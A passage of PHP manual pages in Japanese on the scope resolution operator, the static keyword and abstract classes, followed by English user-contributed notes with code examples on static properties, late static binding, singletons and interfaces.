It's worth noting, that the mentioned variable can also be an object instance. This appears to be the easiest way to refer to a static function as high in the inheritance hierarchy as possible, as seen from the instance. I've encountered some odd behavior while using static::something() inside a non-static method.

See the following example code:

<?php
class FooClass {
    public function testSelf() {
        return self::t();
    }

    public function testThis() {
        return $this::t();
    }

    public static function t() {
        return 'FooClass';
    }

    function __toString() {
        return 'FooClass';
    }
}

class BarClass extends FooClass {
    public static function t() {
        return 'BarClass';
    }

}

$obj = new BarClass();
print_r(Array(
    $obj->testSelf(), $obj->testThis(),
));
?>

which outputs:

<pre>
Array
(
    [0] => FooClass
    [1] => BarClass
)
</pre>

As you can see, __toString has no effect on any of this. Just in case you were wondering if perhaps this was the way it's done.
giovanni at gargani dot it 02-Jun-2009 06:38
Well, a "swiss knife" couple of code lines to call parent method. The only limit is you can't use it with "by reference" parameters.
Main advantage you dont need to know the "actual" signature of your super class, you just need to know which arguments do you need

<?php
class someclass extends some superclass {
// usable for constructors
 function __construct($ineedthisone) {
  $args=func_get_args();
  /* $args will contain any argument passed to __construct.
  * Your formal argument doesnt influence the way func_get_args() works
  */
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
// but this is not for __construct only
 function anyMethod() {
  $args=func_get_args();
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
  // Note: php 5.3.0 will even let you do
 function anyMethod() {
  //Needs php >=5.3.x
  call_user_func_array(array('parent',__FUNCTION__),func_get_args());
 }

}
?>
csaba dot dobai at php-sparcle dot com 03-Feb-2009 09:54
For the 'late static binding' topic I published a code below, that demonstrates a trick for how to setting variable value in the late class, and print that in the parent (or the parent's parent, etc.) class.

<?php

class cA
{
    /**
     * Test property for using direct default value
     */
    protected static $item = 'Foo';

    /**
     * Test property for using indirect default value
     */
    protected static $other = 'cA';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    public static function setOther($val)
    {
        self::$other = $val; // Set a value in this scope.
    }
}

class cB extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Bar';

    public static function setOther($val)
    {
        self::$other = $val;
    }
}

class cC extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Tango';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    /**
     * Now we drop redeclaring the setOther() method, use cA with 'self::' just for fun.
     */
}

class cD extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Foxtrot';

    /**
     * Now we drop redeclaring all methods to complete this issue.
     */
}

cB::setOther('cB'); // It's cB::method()!
cB::method(); // It's cA::method()!
cC::setOther('cC'); // It's cA::method()!
cC::method(); // It's cC::method()!
cD::setOther('cD'); // It's cA::method()!
cD::method(); // It's cA::method()!

/**
 * Results: ->
 * Foo
 * cB
 * Tango
 * cC
 * Foo
 * cD
 *
 * What the hell?! :)
 */

?>
luka8088 at gmail dot com 24-Jan-2009 03:15
Little static trick to go around php strict standards ...
Function caller founds an object from which it was called, so that static method can alter it, replacement for $this in static function but without strict warnings :)

<?php

error_reporting(E_ALL + E_STRICT);

function caller () {
  $backtrace = debug_backtrace();
  $object = isset($backtrace[0]['object']) ? $backtrace[0]['object'] : null;
  $k = 1;

  while (isset($backtrace[$k]) && (!isset($backtrace[$k]['object']) || $object === $backtrace[$k]['object']))
    $k++;

  return isset($backtrace[$k]['object']) ? $backtrace[$k]['object'] : null;
}

class a {

  public $data = 'Empty';

  function set_data () {
    b::set();
  }

}

class b {

  static function set () {
    // $this->data = 'Data from B !';
    // using this in static function throws a warning ...
    caller()->data = 'Data from B !';
  }

}

$a = new a();
$a->set_data();
echo $a->data;

?>

Outputs: Data from B !

No warnings or errors !
barss dot dev at gmail dot com 01-Jul-2008 03:47
Nice trick with scope resolution
<?php
    class A
    {
        public function TestFunc()
        {
            return $this->test;
        }
    }

    class B
    {
        public $test;

        public function __construct()
        {
            $this->test = "Nice trick";
        }

        public function GetTest()
        {
            return A::TestFunc();
        }
    }

    $b = new B;
    echo $b->GetTest();
?>

will output

Nice trick
mongoose643 at gmail dot com 13-Feb-2007 12:11
This is a solution for those that still need to write code compatible with php 4 but would like to use the flexibility of static variables. PHP 4 does not support static variables within the class scope but it does support them within the scope of class methods. The following is a bit of a workaround to store data in static mode in php 4.

Note: This code also works in PHP 5.

(Tested on version 4.3.1+)

The tricky part is when using when arrays you have to do a bit of fancy coding to get or set individual elements in the array. The example code below should show you the basics of it though.

<?php

class StaticSample
{
    //Copyright Michael White (www.crestidg.com) 2007
    //You may use and modify this code but please keep this short copyright notice in tact.
    //If you modify the code you may comment the changes you make and append your own copyright
    //notice to mine. This code is not to be redistributed individually for sale but please use it as part
    //of your projects and applications - free or non-free.

    //Static workaround for php4 - even works with arrays - the trick is accessing the arrays.
    //I used the format s_varname for my methods that employ this workaround. That keeps it
    //similar to working with actual variables as much as possible.
    //The s_ prefix immediately identifies it as a static variable workaround method while
    //I'm looking thorugh my code.
    function &s_foo($value=null, $remove=null)
    {
        static $s_var;    //Declare the static variable.    The name here doesn't matter - only the name of the method matters.

        if($remove)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    foreach($value as $key => $data)
                    {
                        unset($s_var[$key]);
                    }
                }
            }
            else
            {
                //You can't just use unset() here because the static state of the variable will bring back the value next time you call the method.
                $s_var = null;
                unset($s_var);
            }
            //Make sure that you don't set the value over again.
            $value = null;
        }
        if($value)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    //$s_var = array_merge($s_var, $value);        //Doesn't overwrite values. This adds them - a property of the array_merge() function.
                    foreach($value as $key => $data)
                    {
                        $s_var[$key] = $data;    //Overwrites values.
                    }
                }
                else
                {
                    $s_var = $value;
                }
            }
            else
            {
                $s_var = $value;
            }
        }

        return $s_var;
    }
}

echo "Working with non-array values.<br>";
echo "Before Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Setting: ".StaticSample::s_foo("VALUE HERE");
echo "<br>";
echo "After Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Removing: ".StaticSample::s_foo(null, 1);
echo "<br>";
echo "After Removing: ".StaticSample::s_foo();
echo "<hr>";
echo "Working with array values<br>";
$array = array(0=>"cat", 1=>"dog", 2=>"monkey");
echo "Set an array value: ";
print_r(StaticSample::s_foo($array));
echo "<br>";

//Here you need to get all the values in the array then sort through or choose the one(s) you want.
$all_elements = StaticSample::s_foo();
$middle_element = $all_elements[1];
echo "The middle element: ".$middle_element;
echo "<br>";

$changed_array = array(1=>"big dog", 3=>"bat", "bird"=>"flamingo");
echo "Changing the value: ";
print_r(StaticSample::s_foo($changed_array));
echo "<br>";

//All you have to do here is create an array with the keys you want to erase in it.
//If you want to erase all keys then don't pass any array to the method.
$element_to_erase = array(3=>null);
echo "Erasing the fourth element: ";
$elements_left = StaticSample::s_foo($element_to_erase, 1);
print_r($elements_left);
echo "<br>";
echo "Enjoy!";

?>
developit at mail dot ru 27-Jan-2006 03:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
    protected $x = 'A';
    public function f()
    {
        return '['.$this->x.']';
    }
}

class B extends A
{
    protected $x = 'B';
    public function f()
    {
        return '{'.$this->x.'}';
    }
}

class C extends B
{
    protected $x = 'C';
    public function f()
    {
        return '('.$this->x.')'.parent::f().B::f().A::f();
    }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]


static キーワード

ヒント

このページでは、static キーワードを使って静的なメソッドやプロパティを定義する方法を説明します。 static は、 静的な変数の定義 や 静的遅延束縛 にも使えます。これらの場合の static の使い方は、 それぞれのページを参照ください。

クラスプロパティもしくはメソッドを static として宣言することで、 クラスのインスタンス化の必要なしにアクセスすることができます。 static として宣言されたプロパティやメソッドは、 インスタンス化されたオブジェクトの内部からも静的にコールできます。

static メソッド

static メソッドはオブジェクトのインスタンスを生成せずに コールすることができるので、疑似変数 $this は、 static として宣言されたメソッドの内部から利用することはできません。

警告

static でないメソッドを静的にコールすると、Error がスローされます。

PHP 8.0.0 より前のバージョンでは、 static でないメソッドを静的にコールすることが非推奨になっており、 E_DEPRECATED レベルの警告が発生していました。

例1 static メソッドの例

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod();
?>

static プロパティ

static プロパティは、 スコープ定義演算子 を使ってアクセスできますが、 オブジェクト演算子 (->) を使ってアクセスすることはできません。

変数を用いてクラスを参照することも可能です。 変数の値に (self や parent、 static といった) キーワードを指定することはできません。

例2 static プロパティの例

<?php
class Foo
{
    public static $my_static = 'foo';

    public function staticValue() {
        return self::$my_static;
    }
}

class Bar extends Foo
{
    public function fooStatic() {
        return parent::$my_static;
    }
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n";      // Undefined "Property" my_static

print $foo::$my_static . "\n";
$classname = 'Foo';
print $classname::$my_static . "\n";

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

上の例の PHP 8 での出力は、たとえば以下のようになります。:

foo
foo

Notice: Accessing static property Foo::$my_static as non static in /in/V0Rvv on line 23

Warning: Undefined property: Foo::$my_static in /in/V0Rvv on line 23

foo
foo
foo
foo

User Contributed Notes

admin at shopinson dot com 19-Aug-2020 01:20
I used instantiation to access the access the a static property directly.

A Simple ticky art, you may apply (using object to access static property in a class) with the scope resolution operator
<?php
class Shopinson {
    const MY_CONSTANT = 'the value of MY_CONSTANT ';
}

class Godwin extends Shopinson
{
    public static $myconstant = ' The Paamayim Nekudotayim or double-colon.';
    public function SaySomething(){
        echo parent::MY_CONSTANT .PHP_EOL; // outputs: the value of MY_CONSTANT
        echo self::$myconstant; // outputs: The Paamayim Nekudotayim or double-colon.
    }
}

$my_class = new Godwin();
print $my_class::$myconstant;
$my_class::SaySomething();
echo Godwin::$myconstant;
Godwin::SaySomething();

?>

print $my_class::$myconstant;
fakhar_anwar123 at hotmail dot com 26-Apr-2020 11:21
Asnwer selcted as correct solves problem. There is a valid use case (Design Pattern) where class with static member function needs to call non-static member function and before that this static members should also instantiate singleton using constructor a constructor.

**Case:**
For example, I am implementing Swoole HTTP Request event providing it a call-back as a Class with static member. Static Member does two things; it creates Singleton Object of the class by doing initialization in class constructor, and second this static members does is to call a non-static method 'run()' to handle Request (by bridging with Phalcon). Hence, static class without constructor and non-static call will not work for me.
ASchmidt at Anamera dot net 04-Sep-2018 07:18
It is important to understand the behavior of static properties in the context of class inheritance:

- Static properties defined in both parent and child classes will hold DISTINCT values for each class. Proper use of self:: vs. static:: are crucial inside of child methods to reference the intended static property.

- Static properties defined ONLY in the parent class will share a COMMON value.

<?php
declare(strict_types=1);

class staticparent {
    static    $parent_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromparent';
        static::$both_distinct = 'fromparent';
    }
}

class staticchild extends staticparent {
    static    $child_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromchild';
        static::$both_distinct = 'fromchild';
        static::$child_only = 'fromchild';
    }
}

$a = new staticparent;
$a = new staticchild;

echo 'Parent: parent_only=', staticparent::$parent_only, ', both_distinct=', staticparent::$both_distinct, "<br/>\r\n";
echo 'Child:  parent_only=', staticchild::$parent_only, ', both_distinct=', staticchild::$both_distinct, ', child_only=', staticchild::$child_only, "<br/>\r\n";
?>

will output:
Parent: parent_only=fromchild, both_distinct=fromparent
Child: parent_only=fromchild, both_distinct=fromchild, child_only=fromchild
vinayak dot anivase at gmail dot com 30-Mar-2018 06:38
This is also possible:

class Foo {
  public static $bar = 'a static property';
}

$baz = (new Foo)::$bar;
echo $baz;
artekpuck at gmail dot com 19-Mar-2018 05:36
It is worth mentioning that there is only one value for each static variable that is the same for all instances
b1tchcakes 27-Feb-2016 09:06
<?php

trait t {
  protected $p;
  public function testMe() {echo 'static:'.static::class. ' // self:'.self::class ."\n";}
}

class a { use t; }
class b extends a {}

echo (new a)->testMe();
echo (new b)->testMe();

outputs
static:a // self:t
static:b // self:t
rahul dot anand77 at gmail dot com 13-Nov-2015 10:39
To check if a method declared in a class is static or not, you can us following code. PHP5 has a Reflection Class, which is very helpful.

try {
    $method = new ReflectionMethod( 'className::methodName );
    if ( $method->isStatic() )
    {
        // Method is static.
    }
}
catch ( ReflectionException $e )
{
    //    method does not exist
    echo $e->getMessage();
}

*You can read more about Reflection class on http://php.net/manual/en/class.reflectionclass.php
sideshowAnthony at googlemail dot com 02-Oct-2015 07:44
The static keyword can still be used (in a non-oop way) inside a function. So if you need a value stored with your class, but it is very function specific, you can use this:

class aclass {
    public static function b(){
        static $d=12; // Set to 12 on first function call only
        $d+=12;
        return "$d\n";
    }
}

echo aclass::b(); //24
echo aclass::b(); //36
echo aclass::b(); //48
echo aclass::$d; //fatal error
jkenigso at utk dot edu 22-Dec-2013 12:20
It bears mention that static variables (in the following sense) persist:

<?php
class StaticVars
{
  public static $a=1;
}
$b=new StaticVars;
$c=new StaticVars;

echo $b::$a; //outputs 1
$c::$a=2;
echo $b::$a; //outputs 2!
?>

Note that $c::$a=2 changed the value of $b::$a even though $b and $c are totally different objects.
manishpatel2280 at gmail dot com 19-Nov-2013 02:45
In real world, we can say will use static method when we dont want to create object instance.

e.g ...

validateEmail($email) {
 if(T) return true;
return false;
}

//This makes not much sense
$obj = new Validate();
$result = $obj->validateEmail($email);

//This makes more sense
$result = Validate::validateEmail($email);
Anonymous 24-Oct-2013 01:34
It should be noted that in 'Example #2', you can also call a variably defined static method as follows:

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

$classname = 'Foo';
$methodname = 'aStaticMethod';
$classname::{$methodname}(); // As of PHP 5.3.0 I believe
?>
payal001 at gmail dot com 09-Jul-2011 03:17
Here statically accessed property prefer property of the class for which it is called. Where as self keyword enforces use of current class only. Refer the below example:

<?php
class a{

static protected $test="class a";

public function static_test(){

echo static::$test; // Results class b
echo self::$test; // Results class a

}

}

class b extends a{

static protected $test="class b";

}

$obj = new b();
$obj->static_test();
?>
gratcypalma at gmail dot om 18-Apr-2011 11:50
<?php
class foo {
    private static $getInitial;

    public static function getInitial() {
        if (self::$getInitial == null)
            self::$getInitial = new foo();
        return self::$getInitial;
    }
}

foo::getInitial();

/*
this is the example to use new class with static method..
i hope it help
*/

?>
tolean_dj at yahoo dot com 11-Dec-2010 05:09
Starting with php 5.3 you can get use of new features of static keyword. Here's an example of abstract singleton class:

<?php

abstract class Singleton {

    protected static $_instance = NULL;

    /**
     * Prevent direct object creation
     */
    final private function  __construct() { }

    /**
     * Prevent object cloning
     */
    final private function  __clone() { }

    /**
     * Returns new or existing Singleton instance
     * @return Singleton
     */
    final public static function getInstance(){
        if(null !== static::$_instance){
            return static::$_instance;
        }
        static::$_instance = new static();
        return static::$_instance;
    }

}
?>
Mirco 23-Aug-2010 10:16
The simplest static constructor.

Because php does not have a static constructor and you may want to initialize static class vars, there is one easy way, just call your own function directly after the class definition.

for example.

<?php
function Demonstration()
{
    return 'This is the result of demonstration()';
}

class MyStaticClass
{
    //public static $MyStaticVar = Demonstration(); //!!! FAILS: syntax error
    public static $MyStaticVar = null;

    public static function MyStaticInit()
    {
        //this is the static constructor
        //because in a function, everything is allowed, including initializing using other functions

        self::$MyStaticVar = Demonstration();
    }
} MyStaticClass::MyStaticInit(); //Call the static constructor

echo MyStaticClass::$MyStaticVar;
//This is the result of demonstration()
?>
webmaster at removethis dot weird-webdesign dot de 25-Feb-2010 01:38
On PHP 5.2.x or previous you might run into problems initializing static variables in subclasses due to the lack of late static binding:

<?php
class A {
    protected static $a;

    public static function init($value) { self::$a = $value; }
    public static function getA() { return self::$a; }
}

class B extends A {
    protected static $a; // redefine $a for own use

    // inherit the init() method
    public static function getA() { return self::$a; }
}

B::init('lala');
echo 'A::$a = '.A::getA().'; B::$a = '.B::getA();
?>

This will output:
A::$a = lala; B::$a =

If the init() method looks the same for (almost) all subclasses there should be no need to implement init() in every subclass and by that producing redundant code.

Solution 1:
Turn everything into non-static. BUT: This would produce redundant data on every object of the class.

Solution 2:
Turn static $a on class A into an array, use classnames of subclasses as indeces. By doing so you also don't have to redefine $a for the subclasses and the superclass' $a can be private.

Short example on a DataRecord class without error checking:

<?php
abstract class DataRecord {
    private static $db; // MySQLi-Connection, same for all subclasses
    private static $table = array(); // Array of tables for subclasses

    public static function init($classname, $table, $db = false) {
        if (!($db === false)) self::$db = $db;
        self::$table[$classname] = $table;
    }

    public static function getDB() { return self::$db; }
    public static function getTable($classname) { return self::$table[$classname]; }
}

class UserDataRecord extends DataRecord {
    public static function fetchFromDB() {
        $result = parent::getDB()->query('select * from '.parent::getTable('UserDataRecord').';');

        // and so on ...
        return $result; // An array of UserDataRecord objects
    }
}

$db = new MySQLi(...);
UserDataRecord::init('UserDataRecord', 'users', $db);
$users = UserDataRecord::fetchFromDB();
?>

I hope this helps some people who need to operate on PHP 5.2.x servers for some reason. Late static binding, of course, makes this workaround obsolete.
valentin at balt dot name 26-Jan-2010 07:46
How to implement a one storage place based on static properties.

<?php
class a {

    public function get () {
        echo $this->connect();
    }
}
class b extends a {
    private static $a;

    public function connect() {
        return self::$a = 'b';
    }
}
class c extends a {
    private static $a;

    public function connect() {
        return self::$a = 'c';
    }
}
$b = new b ();
$c = new c ();

$b->get();
$c->get();
?>
Jay Cain 18-Dec-2009 02:45
Regarding the initialization of complex static variables in a class, you can emulate a static constructor by creating a static function named something like init() and calling it immediately after the class definition.

<?php
class Example {
    private static $a = "Hello";
    private static $b;

    public static function init() {
        self::$b = self::$a . " World!";
    }
}
Example::init();
?>
davidn at xnet dot co dot nz 17-Mar-2009 04:56
Static variables are shared between sub classes

<?php
class MyParent {

    protected static $variable;
}

class Child1 extends MyParent {

    function set() {

        self::$variable = 2;
    }
}

class Child2 extends MyParent {

    function show() {

        echo(self::$variable);
    }
}

$c1 = new Child1();
$c1->set();
$c2 = new Child2();
$c2->show(); // prints 2
?>
zerocool at gameinsde dot ru 20-Oct-2008 01:06
Hi, here's my simple Singleton example, i think it can be useful for someone. You can use this pattern to connect to the database for example.

<?php

  class MySingleton
  {
    private static $instance = null;

    private function __construct()
    {
      $this-> name = 'Freddy';

    }

    public static function getInstance()
    {
      if(self::$instance == null)
      {
        print "Object created!<br>";
        self::$instance = new self;

      }

      return self::$instance;

    }

    public function sayHello()
    {
      print "Hello my name is {$this-> name}!<br>";

    }

    public function setName($name)
    {
      $this-> name = $name;

    }

  }

  //

  $objA = MySingleton::getInstance(); // Object created!

  $objA-> sayHello(); // Hello my name is Freddy!

  $objA-> setName("Alex");

  $objA-> sayHello(); // Hello my name is Alex!

  $objB = MySingleton::getInstance();

  $objB-> sayHello(); // Hello my name is Alex!

  $objB-> setName("Bob");

  $objA-> sayHello(); // Hello my name is Bob!

?>
vvikramraj at yahoo dot com 23-Sep-2008 03:24
when attempting to implement a singleton class, one might also want to either
a) disable __clone by making it private
b) bash the user who attempts to clone by defining __clone to throw an exception
Mathijs Vos 23-Aug-2008 03:53
<?php
class foo
{
    public static $myStaticClass;

    public function __construct()
    {
        self::myStaticClass = new bar();
    }
}

class bar
{
        public function __construct(){}
}
?>

Please note, this won't work.
Use self::$myStaticClass = new bar(); instead of self::myStaticClass = new bar(); (note the $ sign).
Took me an hour to figure this out.
inkredibl 28-Jan-2008 12:27
Note that you should read "Variables/Variable scope" if you are looking for static keyword use for declaring static variables inside functions (or methods). I myself had this gap in my PHP knowledge until recently and had to google to find this out. I think this page should have a "See also" link to static function variables.
http://www.php.net/manual/en/language.variables.scope.php
ssj dot narutovash at gmail dot com 01-Jan-2008 08:48
It's come to my attention that you cannot use a static member in an HEREDOC string.  The following code

class A
{
  public static $BLAH = "user";

  function __construct()
  {
    echo <<<EOD
<h1>Hello {self::$BLAH}</h1>
EOD;
  }
}

$blah = new A();

produces this in the source code:

<h1>Hello {self::}</h1>

Solution:

before using a static member, store it in a local variable, like so:

class B
{
  public static $BLAH = "user";

  function __construct()
  {
    $blah = self::$BLAH;
    echo <<<EOD
<h1>Hello {$blah}</h1>
EOD;
  }
}

and the output's source code will be:

<h1>Hello user</h1>
aidan at php dot net 04-May-2005 07:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
    $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 03:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
    $this->a = 0;
    parent::$b = 0;
  }
  public function f()
  {
    $this->a++;
    parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
michalf at ncac dot torun dot pl 31-Mar-2005 02:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
    public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
michael at digitalgnosis dot removethis dot com 15-Dec-2004 11:09
If you are trying to write classes that do this:

<?php

class Base
{
    static function Foo ()
    {
        self::Bar();
    }
}

class Derived extends Base
{
    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
    function Foo ( $class = __CLASS__ )
    {
        call_user_func(array($class,'Bar'));
    }
}

class Derived extends Base
{
    function Foo ( $class = __CLASS__ )
    {
        parent::Foo($class);
    }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().


クラスの抽象化

PHP には、抽象クラスと抽象メソッドの機能があります。 abstract として定義されたクラスのインスタンスを生成することはできません。 1つ以上の抽象メソッドを含む全てのクラスもまた抽象クラスとなります。 abstract として定義されたメソッドは、そのメソッドのシグネチャを宣言するのみで、 実装を定義することはできません。

抽象クラスから継承する際、親クラスの宣言で abstract としてマークされた 全てのメソッドは、子クラスで定義されなければなりません。加えて、 オブジェクトの継承 と シグネチャの互換性に関するルール に従わなければいけません。

例1 抽象クラスの例

<?php
abstract class AbstractClass
{
    // 拡張クラスにこのメソッドの定義を強制する
    abstract protected function getValue();
    abstract protected function prefixValue($prefix);

    // Common method
    public function printOut() {
        print $this->getValue() . "\n";
    }
}

class ConcreteClass1 extends AbstractClass
{
    protected function getValue() {
        return "ConcreteClass1";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass1";
    }
}

class ConcreteClass2 extends AbstractClass
{
    public function getValue() {
        return "ConcreteClass2";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass2";
    }
}

$class1 = new ConcreteClass1;
$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

上の例の出力は以下となります。

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

例2 抽象クラスの例

<?php
abstract class AbstractClass
{
    // 抽象メソッドでは、必須の引数だけを定義しています
    abstract protected function prefixName($name);

}

class ConcreteClass extends AbstractClass
{

    // 子クラスでは、親のシグネチャにないオプション引数を定義することもあるでしょう
    public function prefixName($name, $separator = ".") {
        if ($name == "Pacman") {
            $prefix = "Mr";
        } elseif ($name == "Pacwoman") {
            $prefix = "Mrs";
        } else {
            $prefix = "";
        }
        return "{$prefix}{$separator} {$name}";
    }
}

$class = new ConcreteClass;
echo $class->prefixName("Pacman"), "\n";
echo $class->prefixName("Pacwoman"), "\n";
?>

上の例の出力は以下となります。

Mr. Pacman
Mrs. Pacwoman

User Contributed Notes

shaman_master at list dot ru 03-Oct-2018 11:52
Also you may set return/arguments type declaring for abstract methods (PHP>=7.0)
<?php
declare(strict_types=1);

abstract class Adapter
{
    protected $name;
    abstract public function getName(): string;
    abstract public function setName(string $value);
}

class AdapterFoo extends Adapter
{
    public function getName(): string
    {
        return $this->name;
    }
    // return type declaring not defined in abstract class, set here
    public function setName(string $value): self
    {
        $this->name = $value;
        return $this;
    }
}
?>
swashata4u at gmail dot com 18-Apr-2018 09:06
Here is another thing about abstract class and interface.

Sometimes, we define an interface for a `Factory` and ease out some common methods of the `Factory` through an `abstract` class.

In this case, the abstract class implements the interface, but does not need to implement all methods of the interface.

The simple reason is, any class implementing an interface, needs to either implement all methods, or declare itself abstract.

Because of this, the following code is perfectly ok.

<?php
interface Element {
    /**
     * Constructor function. Must pass existing config, or leave as
     * is for new element, where the default will be used instead.
     *
     * @param array $config Element configuration.
     */
    public function __construct( $config = [] );

    /**
     * Get the definition of the Element.
     *
     * @return array An array with 'title', 'description' and 'type'
     */
    public static function get_definition();

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config();

    /**
     * Set Element config variable.
     *
     * @param array $config New configuration variable.
     *
     * @return void
     */
    public function set_config( $config );
}

abstract class Base implements Element {

    /**
     * Element configuration variable
     *
     * @var array
     */
    protected $config = [];

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config() {
        return $this->config;
    }

    /**
     * Create an eForm Element instance
     *
     * @param array $config Element config.
     */
    public function __construct( $config = [] ) {
        $this->set_config( $config );
    }
}

class MyElement extends Base {

    public static function get_definition() {
        return [
            'type' => 'MyElement',
        ];
    }

    public function set_config( $config ) {
        // Do something here
        $this->config = $config;
    }
}

$element = new MyElement( [
    'foo' => 'bar',
] );

print_r( $element->get_config() );
?>

You can see the tests being executed here and PHP 5.4 upward, the output is consistent. https://3v4l.org/8NqqW
jai at shaped dot ca 02-Mar-2017 05:36
This example will hopefully help you see how abstract works, how interfaces work, and how they can work together. This example will also work/compile on PHP7, the others were typed live in the form and may work but the last one was made/tested for real:

<?php

const ¶ = PHP_EOL;

// Define things a product *has* to be able to do (has to implement)
interface productInterface {
    public function doSell();
    public function doBuy();
}

// Define our default abstraction
abstract class defaultProductAbstraction implements productInterface {
    private $_bought = false;
    private $_sold = false;
    abstract public function doMore();
    public function doSell() {
        /* the default implementation */
        $this->_sold = true;
        echo "defaultProductAbstraction doSell: {$this->_sold}".¶;
    }
    public function doBuy() {
        $this->_bought = true;
        echo "defaultProductAbstraction doBuy: {$this->_bought}".¶;
    }
}

class defaultProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "defaultProductImplementation doMore()".¶;
    }
}

class myProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "myProductImplementation doMore() does more!".¶;
    }
    public function doBuy() {
        echo "myProductImplementation's doBuy() and also my parent's dubai()".¶;
        parent::doBuy();
    }
}

class myProduct extends defaultProductImplementation {
    private $_bought=true;
    public function __construct() {
        var_dump($this->_bought);
    }
    public function doBuy () {
        /* non-default doBuy implementation */
        $this->_bought = true;
        echo "myProduct overrides the defaultProductImplementation's doBuy() here {$this->_bought}".¶;
    }
}

class myOtherProduct extends myProductImplementation {
    public function doBuy() {
        echo "myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too".¶;
        parent::doBuy();
    }
}

echo "new myProduct()".¶;
$product = new myProduct();

$product->doBuy();
$product->doSell();
$product->doMore();

echo ¶."new defaultProductImplementation()".¶;

$newProduct = new defaultProductImplementation();
$newProduct->doBuy();
$newProduct->doSell();
$newProduct->doMore();

echo ¶."new myProductImplementation".¶;
$lastProduct = new myProductImplementation();
$lastProduct->doBuy();
$lastProduct->doSell();
$lastProduct->doMore();

echo ¶."new myOtherProduct".¶;
$anotherNewProduct = new myOtherProduct();
$anotherNewProduct->doBuy();
$anotherNewProduct->doSell();
$anotherNewProduct->doMore();
?>

Will result in:
<?php
/*
new myProduct()
bool(true)
myProduct overrides the defaultProductImplementation's doBuy() here 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new defaultProductImplementation()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new myProductImplementation
myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

new myOtherProduct
myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too
